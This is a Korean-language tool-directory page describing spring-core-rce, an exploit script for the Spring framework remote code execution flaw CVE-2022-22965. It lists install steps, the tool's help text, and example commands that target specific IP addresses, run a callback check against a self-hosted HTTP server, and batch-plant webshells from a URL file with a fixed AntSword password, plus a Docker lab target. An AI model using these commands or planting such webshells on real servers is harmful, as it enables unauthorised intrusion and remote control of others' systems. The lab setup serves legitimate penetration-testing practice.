Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/k3rwin/spring-core-rce
ReconnaissancePayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubk3rwin/spring-core-rce

spring-core-rce

Spring 프레임워크 RCE 취약점 CVE-2022-22965

저장소 보기
28114년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
spring-core-rce — Spring 프레임워크 RCE 취약점 CVE-2022-22965 | Kitploit

Spring Core RCE/CVE-2022-22965

영향 범위: JDK>=9의 Spring 프레임워크 및 파생 프레임워크

참고 문서

스크립트는 학습 목적으로만 제공되며, 다른 용도로 사용할 경우 발생하는 법적 책임은 작성자와 전혀 무관합니다

1.설치

root@kitploit:~
pip3 install -r requirements.txt

2.사용법

root@kitploit:~
$ python3 spring-core-rce.py -h

 .----..-.-. .---. .-..-. .-..----.     .----. .---. .---. .----.     .---. .----..----.
{ {__-`| } }}} }}_}{ ||  \{ || |--' ___ | }`-'/ {-. \} }}_}} |__} ___ } }}_}| }`-'} |__}
.-._} }| |-' | } \ | }| }\  {| }-`}{___}| },-.\ '-} /| } \ } '__}{___}| } \ | },-.} '__}
`----' `-'   `-'-' `-'`-' `-'`----'     `----' `---' `-'-' `----'     `-'-' `----'`----'


                                                 Spring framework Core RCE
                                                                  By:K3rwin
usage: spring-core-rce.py [-h] [-u URL] [-s SYSTEM] [-r FILE]

Spring framework Core 0day RCE 帮助指南

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定url
  -s SYSTEM, --system SYSTEM
                        指定目标主机操作系统,默认linux,参数为win/linux
  -r FILE, --file FILE  指定url文件,批量写马

3.예제

비파괴 탐지

-u,--url 또는 -f,--file로 배치 탐지

-c,--check, 인자는 자체 구축한 HTTP 서비스이며, python3 -m http.server 80으로 웹 서버를 빠르게 구축할 수 있습니다

주로 내부 네트워크에서 비파괴 취약점 탐지가 필요할 때 사용합니다

root@kitploit:~
python3 spring-core-rce.py -u "http://172.26.155.18:8080/" --check "http://172.26.155.18"

image-20220422153433867

-u로 URL을 지정하고, -s로 운영체제를 지정합니다. 인자는 linux 또는 win이며, 기본값은 linux입니다

root@kitploit:~
python3 spring-core-rce.py -u "http://1.117.155.217:8080/" -s "linux"

image-20220331203209702

image-20220331203858753

-r로 웹셸을 배치 생성하고, AntSword로 연결합니다. 비밀번호는 k3rwin입니다

root@kitploit:~
python3 spring-core-rce.py -r "urls.txt"

image-20220402112140568

image-20220402112349943

4.타깃

①.로컬 Docker 실습 환경 구축:

docker pull vulfocus/spring-core-rce-2022-03-29:latest

docker run -d -p 8080:8080 --name spring-core-rce -it vulfocus/spring-core-rce-2022-03-29

②.온라인 실습 환경

도구 다운로드